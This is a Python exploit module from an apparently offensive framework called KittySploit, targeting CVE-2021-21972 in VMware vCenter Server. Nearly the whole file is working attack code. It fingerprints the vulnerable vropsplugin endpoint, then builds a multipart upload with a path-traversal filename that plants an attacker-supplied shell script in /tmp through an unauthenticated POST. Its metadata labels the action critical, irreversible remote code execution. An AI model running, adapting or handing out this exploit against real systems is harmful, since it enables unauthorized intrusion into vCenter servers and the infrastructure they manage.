VMware vCenter vropsplugin RCE (CVE-2021-21972)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""VMware vCenter vropsplugin upload RCE (CVE-2021-21972)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'VMware vCenter vropsplugin RCE (CVE-2021-21972)',
        'description': (
            'Exploits CVE-2021-21972 in VMware vCenter Server: unauthenticated arbitrary file '
            'upload via /ui/vropspluginui/rest/services/uploadova path traversal.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-21972'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-21972'],
        'tags': ['vmware', 'vcenter', 'upload', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_21972_detect']},
        },
    }

    def _plugin_ok(self) -> bool:
        r = self.http_request(
            method='GET',
            path='/ui/vropspluginui/rest/services/getstatus',
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return False
        headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items())
        return 'VSPHERE-UI-JSESSIONID' in headers and re.search(
            r'(Install|Config) Final Progress', r.text or '',
        )

    def execute(self, cmd: str) -> str:
        traversal = '../../../../../../tmp/ksvc_cmd.sh'
        body = (
            f'------KittySploit\r\nContent-Disposition: form-data; name="uploadFile"; '
            f'filename="{traversal}"\r\nContent-Type: application/octet-stream\r\n\r\n'
            f'#!/bin/sh\n{cmd}\n\r\n------KittySploit--\r\n'
        )
        self.http_request(
            method='POST',
            path='/ui/vropspluginui/rest/services/uploadova',
            data=body,
            headers={'Content-Type': 'multipart/form-data; boundary=----KittySploit'},
            allow_redirects=False,
        )
        return ''

    def check(self):
        if self._plugin_ok():
            return {'vulnerable': True, 'reason': 'vCenter vropsplugin surface exposed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'vropsplugin not detected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        print_warning('Upload surface confirmed — deploy OVA/tar chain for reliable RCE')
        self.execute(str(getattr(self, 'command', '') or self.payload or 'id'))
        self.vulnerable()
        return True